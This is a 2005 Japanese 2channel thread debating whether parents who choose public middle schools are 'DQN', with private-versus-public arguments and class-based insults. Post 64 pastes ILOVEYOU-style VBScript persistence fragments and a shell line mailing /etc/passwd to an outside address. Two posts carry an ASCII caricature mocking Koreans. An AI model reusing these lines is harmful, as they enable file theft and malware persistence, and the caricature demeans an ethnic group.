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子供を『公立中学』に入れる親にはDQNが多い 10

1 :実習生さん:2005/03/31(木) 12:21:48 ID:SZDGNjly
ついに公立中学スレもPart10です。
これからもスレを盛り上げてまいりましょう。

前スレ
子供を『公立中学』に入れる親にはDQNが多い 9
http://school4.2ch.net/test/read.cgi/edu/1110522156/l50

2 :実習生さん:2005/03/31(木) 12:22:46 ID:SZDGNjly
以下、過去スレとなっております
子供を『公立の中学』に入れる親はDQNが多いの?
http://school4.2ch.net/test/read.cgi/edu/1080359336/
http://school4.2ch.net/edu/kako/1080/10803/1080359336.html
子供を『公立の中学』に入れる親はDQNが多い! 2
http://school4.2ch.net/test/read.cgi/edu/1088410115/
http://school4.2ch.net/edu/kako/1088/10884/1088410115.html
子供を『公立の中学』に入れる親はDQNが多い! 3
http://school4.2ch.net/test/read.cgi/edu/1094296032/
http://school4.2ch.net/edu/kako/1094/10942/1094296032.html
子供を『公立の中学』に入れる親はDQNが多い! 3
http://school4.2ch.net/test/read.cgi/edu/1096761325/
http://school4.2ch.net/edu/kako/1096/10967/1096761325.html
子供を『公立中学』に入れる親にはDQNが多い 4
http://school4.2ch.net/test/read.cgi/edu/1098631425/
子供を『公立中学』に入れる親にはDQNが多い 5
http://school4.2ch.net/test/read.cgi/edu/1102571575/
子供を『公立中学』に入れる親にはDQNが多い 6
http://school4.2ch.net/test/read.cgi/edu/1105859950/
子供を『公立中学』に入れる親にはDQNが多い 7
http://school4.2ch.net/test/read.cgi/edu/1107403210/l50
子供を『公立中学』に入れる親にはDQNが多い 8
http://school4.2ch.net/test/read.cgi/edu/1107923457/l50


3 :実習生さん:2005/03/31(木) 12:23:57 ID:SZDGNjly
それでは、引き続き「子供を『公立中学』に入れる親にはDQNが多い」を
お楽しみください。


4 :実習生さん:2005/03/31(木) 14:06:11 ID:sVjak50S
港区∪ちとさんの復活きぼんぬ

5 :名無し@教育板:2005/03/31(木) 14:53:18 ID:GRuUCT2L
>>1
スレ立て乙。

6 :実習生さん:2005/03/31(木) 17:09:06 ID:2x42KJHq
218 :名無しさん@恐縮です :2005/03/28(月) 22:44:46 ID:VOwpiy4e
百恵ちゃんは「子供は土にまみれた公立がいい」と言っていたのに、中学受験で
有名な国立学園に幼稚園から行かせたときは、「百恵ちゃん、幻滅」って思った。
でもくにたち学園って、あの西武グループの経営してた学校じゃない。
週刊誌に書いてあったけど、百恵ちゃんって、学校に執着して、どうしても、
早稲田か、早稲田実業に入れさせたい、ってお仲間ママにも行っていたとか。
成城は、それより少し大人しめですからね。上の子は確か早稲田に言ったって聞いたけど、
違うのかな。百恵ちゃん、あれだけ苦労してたから、もう少し話がわかって、
公立の学校で伸び伸びと育てると思っていた。歌は好きだけど学校に固執する百恵ちゃんは、
あまり好きじゃない。次男も、順天堂行ったら、そのままアナウンサーか、広告代理店に
就職するんじゃない。上のお兄ちゃんもそうかもしれない。
 東大とか一流大学行く人は意外と公立校からの人が多い。そのほうがえらい気もする。
でも人のうちのことだから、大きなお世話だよね。>211ひょっとしたら、
さやかちゃんのほうがましかもしれない。人間学歴じゃないよ。
 心だよ。でもこの夫婦だったらどこの企業でも、しゅうしょくなんでも、
コネで入れてくれる会社が五万といるさ。子供たちも夫妻も、順風満帆だよ。

7 :実習生さん:2005/03/31(木) 17:15:05 ID:2x42KJHq
281 :名無しさん@恐縮です :2005/03/29(火) 18:00:20 ID:F2j+vQyC
漏れの家は超貧乏で市営住宅暮らし。
小学生の時から塾など一度も通ったことなく、ずっと公立で
早稲田法に進学できた。
で、今春から某財閥商社勤務だ。
近所ではヒーローですwww

8 :実習生さん:皇紀2665/04/01(金) 14:28:50 ID:fiTYem/5
<中学教諭>「性交年齢」アンケート 都教委が停職3カ月 (毎日新聞)

東京都教委は31日、保健体育の授業で「性交すると思う年齢」を問うアンケートを
実施するなどした区立中学の男性教諭(42)を停職3カ月の処分にした。
都教委は処分理由について「学習指導要領を逸脱した」と説明している。

都教育庁によると、男性教諭は2月、3年女子の授業中、「あなたは何歳で性交する
と思うか」「相手はどんな人か」などのアンケートを実施。
また、1年男子の期末試験に「受精をするために必要な男性性器の長さを答えなさい」
などと出題した。
 教諭は「アンケートは性感染症を指導するためだった。性器の長さを出題したのは、
長さへのコンプレックスを持たせないため」と説明しているという。


・・・・久々に大笑いさせていただいたよ!ありがとう公立中教諭、GJだ!

9 :あの時の実験は失敗でしたではすまされねえんだよ。貧乏な公立生徒は:皇紀2665/04/01(金) 15:03:32 ID:AdslvDQ4
「つくる会」教科書を疑問視?=ライブドアの堀江社長−韓国紙
http://www.jiji.com/cgi-bin/content.cgi?content=050330141217X014&genre=int
現代自動車は西武球団買収を…堀江社長、韓国紙会見で
http://www.yomiuri.co.jp/business/news/20050330i208.htm
ライブドア、DVD「冬のソナタPlus」を発売
−堀江社長「驚くほど若いヨン様に会える」
http://www.watch.impress.co.jp/av/docs/20050126/livedoor.htm

     ミミ ヽヽヽヽリリノノノノ
    ミ   ,,、,、,、,、,、,、,、、 彡
     l  i''"        i彡
    .| 」    ⌒' '⌒  |
    ,r-/   \ ., 、 ./  |
    l       ノ( 、_, )ヽ  ヽ
    ー' /  .ノ、__!!_,.、  〉 やっとウリの正体に気付いたニカ?
     ∧\ ヽ ヽニニソ / /
   /\ヽ ヽ        /    
 /     ヽ.  `ー--一' ノ/ヽ   
/     r‐-‐-‐/⌒ヽ-─''   `、  
 ヽ、  |_,|_,|_,h( ̄.ノヽ      ヽ
 ー-ヽノ| `~`".`´ ´"⌒⌒)    ヽ

10 :あの時の実験は失敗でしたではすまされねえんだよ。貧乏な公立生徒は:皇紀2665/04/01(金) 15:06:11 ID:AdslvDQ4
「つくる会」教科書を疑問視?=ライブドアの堀江社長−韓国紙
http://www.jiji.com/cgi-bin/content.cgi?content=050330141217X014&genre=int
現代自動車は西武球団買収を…堀江社長、韓国紙会見で
http://www.yomiuri.co.jp/business/news/20050330i208.htm
ライブドア、DVD「冬のソナタPlus」を発売
−堀江社長「驚くほど若いヨン様に会える」
http://www.watch.impress.co.jp/av/docs/20050126/livedoor.htm

     ミミ ヽヽヽヽリリノノノノ
    ミ   ,,、,、,、,、,、,、,、、 彡
     l  i''"        i彡
    .| 」    ⌒' '⌒  |
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    l       ノ( 、_, )ヽ  ヽ
    ー' /  .ノ、__!!_,.、  〉 やっとウリの正体に気付いたニカ?
     ∧\ ヽ ヽニニソ / /
   /\ヽ ヽ        /    
 /     ヽ.  `ー--一' ノ/ヽ   
/     r‐-‐-‐/⌒ヽ-─''   `、  
 ヽ、  |_,|_,|_,h( ̄.ノヽ      ヽ
 ー-ヽノ| `~`".`´ ´"⌒⌒)    ヽ

11 :実習生さん:皇紀2665/04/01(金) 15:44:33 ID:idY9hW8C
すべて優良資産が外資に簒奪されていく
それもこれもお前たちが
2chでうつつをぬかして
生気なく文化沈滞しているからだ

12 :実習生さん:皇紀2665/04/01(金) 19:45:31 ID:GEmO/kpz
残念だな。俺たちゃ積極的に2chにレスしてんだ!


13 :実習生さん:皇紀2665/04/01(金) 20:22:35 ID:cKNQ7SJN
スレタイ東京限定つけろよww

14 :実習生さん:皇紀2665/04/01(金) 21:53:29 ID:APjtnThr
次スレのスレタイ

首都圏で子供を「公立中」に入れる親はDQN 11

15 :実習生さん:皇紀2665/04/02(土) 00:32:07 ID:ada/ru1j
>>14
こっちの方がいいんじゃ?

都内で子供を『公立中学』に入れる親はDQN率が高い 11

16 :実習生さん:皇紀2665/04/02(土) 00:34:24 ID:f135/VRU
港区にDQNはいない。

17 :実習生さん:皇紀2665/04/02(土) 00:45:54 ID:0jtQfLkh

港区は公立中進学率は何パーセントなの?

18 :実習生さん:皇紀2665/04/02(土) 00:49:24 ID:ada/ru1j
こういうスレタイはどうよ?

子供を『公立中学』に入れるのは教育放棄


19 :実習生さん:皇紀2665/04/02(土) 01:27:03 ID:VwqM2CiY
地方でもうちの地元は私立優位ですが何か?
地方が全て公立王国というわけではない

>>18
名案だなw
確かにその通りだ罠
仮にDQNまでいかなくても、教育を放棄しているという面に関しては
否定できない事実w

20 :名無し@教育板:皇紀2665/04/02(土) 01:37:27 ID:9jMPKop0
東京限定とか首都圏とか言っているけど、文科省傘下の公立中学のクオリティは全国規格。
現実には東京などの都市部の方が地方のヘルメット+ジャージ社会主義教育よりましなくらいだ。
地方公立高校から東大に入るような香具師も地方の公立中学に存在するという香具師もいるが、
だったら東京の公立中学から公立高校→東大って香具師だっていっぱいいる。
東大に何人行くか、地底に何人行くかなんか本質的な教育のレベルと何の関係もないわけだし。
どっちにしろ公立高校は置いといて、地方の公立中学がゆとり教育をはじめとした今の公教育の
とくに公立中学校の諸問題からフリーでいるわけではない。

子女の教育、とくに学校教育の部分にはある程度諦めて、地方でのクオリティ・オブ・ライフ
を優先しているDQNとは言えない親もいないことはないだろう。
しかし、このスレで「東京限定」「オレは地方だからDQN親ではないぞ」などといちいち入って来て
非DQN認定をねだるような香具師は間違いなく、正真正銘のDQN!!!



21 :実習生さん:皇紀2665/04/02(土) 01:41:01 ID:aByZqZ/D
だな。
そもそもはといえば、自分にやましい気持ちがなければ
公立親はDQNといわれたところで
気にしないはず
それを、2chのスレごときで必死になってる
教育に関する自信のなさがどこかにあるんじゃないの?


22 :実習生さん:皇紀2665/04/02(土) 01:44:49 ID:F6VEBuov
貧乏人は公立中学いくしかないだろ。我慢しろや。

23 :実習生さん:皇紀2665/04/02(土) 01:58:28 ID:81XftTrn
とりあえず、22はDQNってことでw

こういうのが多いから公立はイヤなんだw

24 :実習生さん:皇紀2665/04/02(土) 02:18:13 ID:pvrnnF0f
>>18
子供の教育を塾や私立に丸投げするのも親の教育放棄

25 :実習生さん:皇紀2665/04/02(土) 02:33:36 ID:wDGQU2IN
>>24
それを言うなら、今の公教育を改善してちょんまげ。
公教育の学習指導要領を(英、数、国、理、社)重視の内容に改めてちょんまげ。
公教育の、やたら多い学校行事、行き過ぎた部活動、管理教育などを撤廃してちょんまげ。
公立中学で、いい加減な教師やDQNな生徒を締め出してちょんまげ。

26 :24:2005/04/02(土) 05:06:55 ID:pvrnnF0f
学力は金で買えても躾は買えないようですな
あ、忘れていた その前に「親の躾」が必要だ!ww

27 :実習生さん:2005/04/02(土) 10:05:08 ID:kP86SPOU
公立親がどれだけ躾とか家での教育をしているっているんだ?ww
すぐに公立派は「ああいえばこういう」だけど
自らで公立を貶めているってことわかる?

自分で疑問に感じないのかね?w


28 :実習生さん:2005/04/02(土) 13:15:35 ID:0pchA19/
躾といえば、まず税金を多額費消しておる、公立教師の躾から見直すべき。
ひのきみに座ったままの教師なんぞ、直ちに全員、解雇すべき。
こんな躾のできてない大人が教師ズラするから子供に悪影響なんだよ。

29 :実習生さん:2005/04/02(土) 14:57:13 ID:vBi5PREB
>>27

公立の親に躾を期待するのは無理があるだろうが、だからといって私立親に躾が出来ている・・・なんていうのはちゃんちゃらオカシイことだ罠。

その点はどっちもどっち。

30 :実習生さん:2005/04/02(土) 15:38:47 ID:xeJXwdJT
元教え子を「厄介者」扱い 中学教諭、寄せ書き
ttp://headlines.yahoo.co.jp/hl?a=20050402-00000022-san-soci


31 :実習生さん:2005/04/02(土) 15:44:37 ID:XbBpYmiR
公立派の人って意外と出身大学のこと気にするんですね。

32 :実習生さん:2005/04/02(土) 18:40:15 ID:pvrnnF0f
公立にはDQN親はいるけど自己中親は私立に行ってしまっているからね
公立親の大半は常識的な判断が出来る親だから
そういう意味で少しは公立の環境はマシになっているんじゃないの?


33 :32:2005/04/02(土) 18:41:49 ID:pvrnnF0f
親というのを子に置き換えても同様。

34 :実習生さん:2005/04/02(土) 18:46:17 ID:pvrnnF0f
教師についても公立には酷い教師がたくさん要るけど
私立は私立で教科指導しかできない、もしくは生活指導に関心がないオタク教師ばかりだろ?
私立によっては公立以上に歪んだ教師がいるとも聞くしね



35 :実習生さん:2005/04/02(土) 19:05:46 ID:DyAXKL/m
私立には金ないと逝けないからね〜
経済力のある親は私立に逝かせるからね〜
経済力=学歴重視な風潮は未だにあるよね〜
教師は私立も公立も大差ないって・・・

36 :名無し@教育板:2005/04/02(土) 19:14:47 ID:9jMPKop0
>>34
>教師についても公立には酷い教師がたくさん要る(ママ) ← 公立には酷い教師が「たくさんいる」というID:pvrnnF0fの認識している事実

>私立によっては公立以上に歪んだ教師がいるとも聞くしね ← 私立には酷い教師が「いる」というID:pvrnnF0fの妄想または未確認の伝聞

つまり、ID:pvrnnF0fは、酷い教師の存在において、間違いなく公立には多い>私立にはほとんどいない と認識しているわけだ。

>私立は私立で教科指導しかできない、もしくは生活指導に関心がないオタク教師ばかりだろ?

たとえそれが事実だとしても、「生活指導」ってそんなに必要なことなのか?
髪が長いとか、制服がどうだとかそういうことか?



37 :実習生さん:2005/04/02(土) 19:31:26 ID:DyAXKL/m
>>36
生活指導じゃなくて正式には生徒指導。
生徒指導は教科指導と並ぶ柱でこれなしに中学教育を語ることは出来ない。
ここで公共性や自律精神の育成を行ってないと社会性の面で大きな不安要素が生まれる。
きっとそんなものは勝手に身につくものと思っている人が多いが
実際にはそれぞれの発達段階に合わせて公教育は生徒指導上の教育を行い
それらを養成している。

38 :実習生さん:2005/04/02(土) 19:33:28 ID:LHez0yKv
私立主義の人は公立をDQN呼ばわりするけど、
そういうアナタも日本国民の一人だってことを忘れてないかね、といつも思う。

公立中学は国(自治体)が運営する義務教育機関であり、文部科学大臣の所管にある。
そして、文部科学大臣は我々国民が選挙で選んだ政治家である(非国会議員のときもあるが)。

国が設置する公立中学がDQNってことは、そういうDQNな教育機関を作る政治家を選んでいる
我々国民もDQNってことに他ならないんだが。



39 :名無し@教育板:2005/04/02(土) 19:44:57 ID:9jMPKop0
>>37
>ここで公共性や自律精神の育成を行ってないと社会性の面で大きな不安要素が生まれる。

あのねえ、今の公立中がダメなのは将にここなんだよね。
教科指導のダメさより以上にダメなんだよ。
今の公立中学の「生徒指導」なら、やらない方がよっぽどましなレベルだ罠。




40 :実習生さん:2005/04/02(土) 22:42:53 ID:pPmUEhyQ
>>38
訳の解んない事ほざいてんじゃねーバ〜カ

41 :実習生さん:2005/04/03(日) 09:45:59 ID:fMOhds/A
公立は家から近いので安心、いろんな奴いて刺激的だし面白い!

だから公立最高!!

42 :実習生さん:2005/04/03(日) 12:03:05 ID:+BrOepkK
公立擁護派、終わったな・・・w

恥をかいているだけという事実に気づかないのか?

43 :実習生さん:2005/04/03(日) 13:22:03 ID:bGOzRJmW

あれ?、スレが新しくなったら盛り上がらなくなっちゃったね。
まるで火が消えたような寂しさじゃん…。

44 :実習生さん:2005/04/03(日) 14:02:30 ID:SeokK+lD
公立擁護派がムキにならなきとスレが盛り上がらないね。

45 :私立擁護派公立出身地底:2005/04/03(日) 14:18:23 ID:0oCrvcmj
公立擁護派にしても私立擁護派にしても

くだらない根拠でばーかばーかヽ(`Д´)ノ
と言い合ってるだけでは、そら盛り上がらない!
私立擁護派でも>>22のような人ばっかりなら
そら議論がうすっぺらになるがな。

まぁ、いじめられた側が退学や公立への転入を進められるっていう話も
よくいろんなスレで見るから、私立の方が生徒指導が充実してるとか
公立の方が生徒指導が充実してるとか、漏れにはなんとも言えんね。

漏れは一部の私立が「進学したい!!!」と思う子供にとって
非常に有効な選択肢となりうると言う話をしていて
前スレは盛り上がったわけで、公立擁護派が
出身大学を気にするのもそういう点で反論するからでしょ。
議論盛り上げたいなら、自分がそう主張する理由を明確に書いて、
さらにその理由が主観的じゃなく根拠のあることだと盛り上がるということで。

46 :実習生さん:2005/04/03(日) 14:18:59 ID:lJJ39qcA
まあ結局 東京圏のDQN親は子供を公立中に入れている ことは事実で否定出来ないから。
(公立中の全ての親ということではない。スレ自体そうではない)

別スレの 猫と白痴の争い は盛り上がってるねえ。

47 :私立擁護派公立出身地底:2005/04/03(日) 14:25:44 ID:0oCrvcmj
>>46
公立中=DQN親+一部賢い親
私立中=賢い親
ってことか。

でも底辺私立って私立に行かせるだけで優越感に浸るような
DQN私立親もいそうな気がするんだけど。
オレは進学という視点でしか私立を見てないから底辺私立は
公立と同等の扱いで論外なんだよなー。
女の子を子供に持つ親は視点が違うかもっていう意見は納得したけど。
どこでもいいから私立に入れてしまえ!!っていう親と
何も考えずに公立に入れる親はオレにとっては同レベル。

48 :実習生さん:2005/04/03(日) 14:45:04 ID:lJJ39qcA
>>47
もうひとつ 普通の親 という言葉を入れて
公立中=DQN親+普通の親+賢い親
私立中=普通の親+賢い親
各パーセンテージは公立も私立も学校により年度により違うであろう
という認識をしている。

>どこでもいいから私立に入れてしまえ!!っていう親
知り得る限りいない。




49 :実習生さん:2005/04/03(日) 14:55:26 ID:bGOzRJmW
48が知らないからって存在しないとは言い切れない。
金を持ってるからといってDQNではないなんて言えない。
ていうか、金を持っててもDQNな奴はいくらでも居る。
中堅以下の私立なら塾に任せっぱなしでも入学できる学校は
いくらでもあるし。

金のあるなしでDQNであるかどうかを決めるのは変。

つーかそもそもDQNって何?

50 :実習生さん:2005/04/03(日) 15:20:32 ID:lJJ39qcA
>>49
仮に難易度的に中堅以下の学校群の中から受験校を選ぶ場合であっても
その中から少しでも自分の子供に適した学校をということで
良く考えた上で受験校を決定していくと思うので
どこでもいいから とは違う。
塾に任せっぱなしというのはどの部分のことだろう。
受験勉強そのものは塾に任せる人はいる。
学校選びまで塾にまかせっぱなしの人がいるということであれば
それはその親がおかしいと思うよ。当然家庭で決めるべき部分。

金のあるなしの話はしていない。
何をもってDQNとするかは、公立の人も私立の人も各人イメージするところは
微妙に違っているのではないだろうか。




51 :名無し@教育板:2005/04/03(日) 15:31:15 ID:4IOuvhGS
>>47
個人的には私立擁護派公立出身地底氏は頭良いと思っているんだが、
ただ底辺私立中の捉え方についてはちょっとおかしいな。

勉強できる子で向学心がある子にとっての私立(難関)中学は認めるわけなんだから、
じゃああんまり勉強できない子で向学心がある子にとっての私立(中堅〜底辺)中学の存在価値は肯定できないかな?
「できる子」だけじゃなく「できない子」だってそれなりに勉強し進学したいと思っているんじゃない?
で、そういう子にとって公立中は学習面で機能しているのか?
できる子にとっても使えないように、普通以下にとってもやっぱり使えない、ってのが現状でしょ。
実際、公立中のそういうレベルの子だって塾行っているし。

まあそれ以前に、一方で認めている女子に関しての視点を男子には何で適用できないのか、ってのが
ちょっとヘンじゃないかと思うけど。


52 :実習生さん:2005/04/03(日) 18:28:51 ID:scOvfjuv
>>49
あのさ、首都圏では大手進学塾などに逝かないで、公文や下町の寺子屋的学習塾
サッカー、野球チームなどから『推薦』されて受験する輩もいるんだよ
それはそれで、各家庭の考えがあってのこと。何も考えずにって訳ではない
それでも凄く少人数だと思う。うそだと思うならN研の学校案内を見てご覧
新中1年生の人数出てるけど、下位私立中で0人とか7人とか13人とか定員割れが
ザラにある。

底辺私立校にとってお客様はあくまでも公立中生であることをお忘れなく


53 :実習生さん:2005/04/03(日) 19:27:56 ID:Bdu8AO16
俺は学校まで一時間半近くかかって最初はきついなと
思ったけど電車で予習 復習をやるなりして通学時間
を有効に使うようにした。意外と電車の中って
勉強に集中できたし。公立は近いからいいっていうのが
あるけど俺の家から5分のところに公立中学あったけど
かなり荒れててとても勉強できる環境じゃなかったよ。
また最初はあまり成績よくなくても後から伸びてくる
子供もいるからそういう子には中高一貫で6年間
勉強するのがいいかもしれない。

54 :実習生さん:2005/04/03(日) 19:31:21 ID:e8hbub8J
俺、学生時代に塾でバイトしてて、公立中学校の生徒も私立中学校の生徒も両方見てたけど、
決して公立中学の生徒がDQNで、私立中学の生徒がDQNじゃないとも思わなかった。

ついでに言えば、どっちの中学の親もDQNってことはなかったぞ。
ちゃんと普通に話できる保護者ばかりだったけどな。

55 :名無し@教育板:2005/04/03(日) 20:07:50 ID:4IOuvhGS
>>54
おそらく個別指導塾あたりだと思うけど、
公立中学生が行くような塾、つまり鉄緑やSEG以外の塾に行く私立中学生の私立中学生全体の中のポジションと
そういう塾の通う公立中学生の全体の中のポジションを考えて見よう。

56 :実習生さん:2005/04/03(日) 20:10:35 ID:dTHw8+g3
公立中の下三割は塾になんて行かないよ

57 :実習生さん:2005/04/03(日) 20:21:39 ID:M44xg2Nt
DQNの定義がヤンキーや貧乏人ということであれば、一般的には確かに私立よりも
公立のほうがDQN親は多いのかも知れません。

ただ、私立中の親は自己中心的と言いますか、「自分の子供さえ良ければ何でも
良い」という考え方の保護者が多い(もちろん全員ではありません)です。
それに対して、学区の公立中では(ヤンキー親も皆無で、非常に環境が良かったと
いうこともありますが)子供もクラスメイトもみんな大事で、何かあった時はクラス
や学校単位で物事を考える保護者が多いです。
保護者会の時にはそのように強く感じました。
2人の子供をそれぞれ私立中、公立中に入れた感想です。

私立中は個人主義の親が多く、公立中は集団主義の親が多いということだと思います。
どちらが良いかということ無いと思いますが。

58 :実習生さん:2005/04/03(日) 20:35:57 ID:dTHw8+g3
具体的に住んでいる地区、通わせた私立中学校の
名前を出してくれないと判断しようがないよ。
地区でも足立区綾瀬と世田谷区成城では
全く違うだろ?

59 :実習生さん:2005/04/03(日) 21:43:59 ID:5Fslnvut
>>57
公立こそ、自分さえ良ければそれでいいの世界だが。。。
集団主義というより、共産的な考えは公立において指導などにおいて蔓延しているがな


60 :実習生さん:2005/04/03(日) 22:12:27 ID:pHONhIO3
私立に入れてもマーチ大学進学なら終わってる

61 :実習生さん:2005/04/03(日) 22:14:20 ID:pHONhIO3
>>22を書いたのは明らかに私立派。>>23デタラメ抜かすんじゃねえよ。

62 :実習生さん:2005/04/03(日) 22:18:06 ID:bGOzRJmW
>>59
自分さえ良ければ良かったのは、
お前の周囲がそうだっただけなんじゃない?
お前の周囲がそうなら、世の中皆同じなの?

63 :実習生さん:2005/04/03(日) 22:25:49 ID:bGOzRJmW
>>58
何度も出てきた言葉だけど
私立も公立もその学校がある場所や偏差値などで違うので
「私立」「公立」という言葉で一つにくくるのは無理。

64 :実習生さん:2005/04/04(月) 00:23:12 ID:q6XV27jN
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

65 :実習生さん:2005/04/04(月) 00:38:49 ID:msy7P/aV
>>57
>>それに対して、学区の公立中では(ヤンキー親も皆無で、非常に環境が良かったと
>>いうこともありますが)子供もクラスメイトもみんな大事で、何かあった時はクラス
>>や学校単位で物事を考える保護者が多いです。
公立の良い面、地域性が発揮された予感。
小学校でM教師にあんまり当たってない、問題児がいない等、環境の産物。


66 :実習生さん:2005/04/04(月) 00:53:09 ID:msy7P/aV
>>62
お前の周囲だけが、思いやり溢れる世界だったのでは?
お前の周囲がそうなら、世の中皆同じなの?


67 :私立擁護派公立出身地底:2005/04/04(月) 03:35:36 ID:Qo4D0pIe
そうなのか。底辺私立でも考えるのか。

いや、私立に入ってるからってだけで優越感に浸ってるDQN
たまにいるからさー、そういう奴が底辺に集まってるのかなーと
勝手に思ってたんだけど。

>まあそれ以前に、一方で認めている女子に関しての
>視点を男子には何で適用できないのか、ってのが
>ちょっとヘンじゃないかと思うけど。

確かにねぇ。

68 :実習生さん:2005/04/04(月) 07:36:29 ID:iljSZ/co
ほんとうに頭のいい人は私立なぞいかない
わざわざ金がかかる私立行くよりも、公立にいって東大なり北里なり受かればいいからだ
私立じゃないと頭がよくないっていうのは勉強ができない奴の理論


69 :実習生さん:2005/04/04(月) 08:37:26 ID:sctRfUO5
もう公立擁護派の意見って見てられんな・・・w
どこの大学に受かればいいとか
そんなことしか頭にない時点で終わってるし



70 :実習生さん:2005/04/04(月) 08:42:15 ID:ukRafJBC
>>68
公立にいったら東大なり北里に受かる可能性が大幅に低くなる。

71 :私立擁護派公立出身地底:2005/04/04(月) 09:55:54 ID:Qo4D0pIe
漏れは公立に行ったがために
学校の使えない授業の分を家で補わなければならず
中学の時のはツケが回って高校の時は
部活する暇もないくらいだったのだが、、、。
私立に行っても多分地底に落ち着いただろうけど、
中高時代のすごし方は大分変わったと思う。
部活も楽しめただろうし。漏れは私立に通いたかった。
私立に通ったら、日中使えない授業の分を補うために
夜中に睡眠時間削って勉強する必要がなかった。

だから焦点は多分、公立に行ったのと、私立にいったので
どのように学生生活が変わるのか、だと思う。

ついでになぜ、北里、、、大して有名でもない大学を
例にあげるのかわからん。

72 :実習生さん:2005/04/04(月) 09:59:35 ID:oin+f3TA
>>69
ここ、たまーに為になる事も書いてあるんだけど
こういう頭の悪そうーーーーなワンパターンの煽りレスが
飽きもせずに定期的に差し挟まれてるのを見ると
「ああ、やっぱりクソスレだな」って思うな。

学校に何を求めるかなんて一人一人違ってて当然なんだし
別に「どこの大学に受かるか」だけを求める奴がいたって別にいいんじゃない?
そんなの「終わってる」とか決め付ける権利がお前のどこにあるんだよ?
それにこれからは「どこの大学に受かるか」を決めるのは
高校じゃなくて予備校や塾によって違ってくる時代になるだろうし。
極端な話、高校なんかに行かなくたって大検取って予備校か塾へ行って
入試に受かれば行きたい大学に行けるわけだし。
いろんな選択肢があったっていいんじゃない?私立でも公立でも。

73 :私立擁護派公立出身地底:2005/04/04(月) 10:03:45 ID:Qo4D0pIe
>>70
ってーか生活が大変になる。っつか、オレは大変になった。
学校の授業時間がまるまる「使えない時間」になるから。
その分をどこで補うかってぇと、放課後以降だろう。
すげーきっつかったぞ。アップアップだった。体力の限界っつーか。

公立からでも確かに頭がよければ合格するはするんだけど、
生活がどうなるかだよね。
オレの感想は、公立の無駄な授業分を家で補うその時間を
節約できるもんなら節約して、その時間を趣味とかにあてて
ゆとりのある生活をしたかった。公立に行ったオレは
ゆとりのない生活だった。

>>69
同意。選択肢の一つだね。その人にとってどっちの選択肢が
有効かはわかれるだろうね。漏れは私立がよかった、、、orz

74 :名無し@教育板:2005/04/04(月) 10:33:37 ID:T2E3w3p7
>>67
>いや、私立に入ってるからってだけで優越感に浸ってるDQN
たまにいるからさー、そういう奴が底辺に集まってるのかなーと
勝手に思ってたんだけど。

う〜〜〜ん・・・
中堅以下の私立中じゃ優越感の持ちようがないじゃん。
底辺中学の制服着て近所を歩いていれば、かえって「勉強できません」って自白しているようなもの。
見栄を捨てて「実」を取っているから底辺私立中に通えるんだよ。


75 :名無し@教育板:2005/04/04(月) 10:36:32 ID:T2E3w3p7
>>68
ネタだと思うけど、

>ほんとうに頭のいい人は

このスレで↑のような言い方する公立マンセーは例外なくDQNだったね。


76 :名無し@教育板:2005/04/04(月) 10:39:56 ID:T2E3w3p7
>>72
>学校に何を求めるかなんて一人一人違ってて当然なんだし
別に「どこの大学に受かるか」だけを求める奴がいたって別にいいんじゃない?
そんなの「終わってる」とか決め付ける権利がお前のどこにあるんだよ?

いやーー
ここは中学の話だからねえ。
中学をどこにするか考えるのに

>「どこの大学に受かるか」だけを求める奴

がいたらそりゃ「終わっている」でしょ。しかもその結論が「公立中」なら尚更でしょう。


77 :実習生さん:2005/04/04(月) 10:44:22 ID:oin+f3TA
>>76
なんで?



78 :実習生さん:2005/04/04(月) 10:57:44 ID:oin+f3TA
確かに「学校のみ」に勉強面でのフォローを頼るなら
公立は効率悪いw
学校に勉強面での効率を求めるのなら
バリバリ勉強受験少年・少女院系の私立もいいんじゃない?
でも私立だからと言ってみんなそういう学校であるというわけじゃ
ないからね。
それに余計な行事や旅行などで金がやたらかかる私立も多いし。
あんまりそういう点で金はかけたくないけど
勉強だけはしっかりやって行こうと思う向きは公立+塾という選択肢でも
別にOKなんじゃない?
どれだけ荒れてる荒れてないかは地域にもよるし。


79 :実習生さん:2005/04/04(月) 11:04:44 ID:eAps7MGY
公立にも底辺高はたくさんあるのになぜ公立派は底辺私立ばかり
たたくかわかんないなあ。よほど金ないんだな。
愚痴叩いてる暇あったらパートでもしろよ

80 :実習生さん:2005/04/04(月) 11:12:20 ID:oin+f3TA
それはここで毒電波を出している一部の輩を叩いている連中が
別に「公立派」などではないからなのでは?

所謂進学面で高い実績を出している私立
実績はまだそれ程出せてはいなくともバリバリ勉強受験少年院系の私立
は東京においても沢山ある「私立」のうちの一部に過ぎないわけで。
そういう一部の私立をさも私立はみんなそうであるかのように
言うのは事実に反するんじゃ?と思われるからでは?


81 :実習生さん:2005/04/04(月) 11:14:53 ID:oin+f3TA
まあ、毒電波系の人にとっては
むきになって公立の全てを擁護する「頭が悪い公立信者」が
居てくれた方が寧ろ都合がいいんだろうけれどね…
自分も頭が悪いから。

82 :私立擁護派公立出身地底:2005/04/04(月) 11:29:30 ID:Qo4D0pIe
>>74
なるほど〜、そういう考え方があるのか。
確かに制服でどこの中学か判別可能だから
良くも悪くも。看板背負って歩くようなもんだね。

83 :実習生さん:2005/04/04(月) 11:37:58 ID:oin+f3TA
底辺私立中の「実」って何なんだろう?
あおりで無く素朴に疑問。

荒れてないとか?
中には私立中でも荒れてる学校もあるよ。
いじめや学級崩壊があったとしても余程露骨な非行行為でもなければ
すぐに退学に持ち込めるとは限らないし。



84 :名無し@教育板:2005/04/04(月) 11:38:42 ID:T2E3w3p7
>>78
>学校に勉強面での効率を求めるのなら
バリバリ勉強受験少年・少女院系の私立もいいんじゃない?
でも私立だからと言ってみんなそういう学校であるというわけじゃ
ないからね。

「私立の受験少年院」と「効率の悪い公立中」との間にはほとんど私立中があてはまる。
何も受験少年院ではなくとも、学校で効率よく勉強できる私立中がいっぱいある。
ふつうの人は、ID:oin+f3TAみたいに、両極端のどっちかみたいな選択はしない。
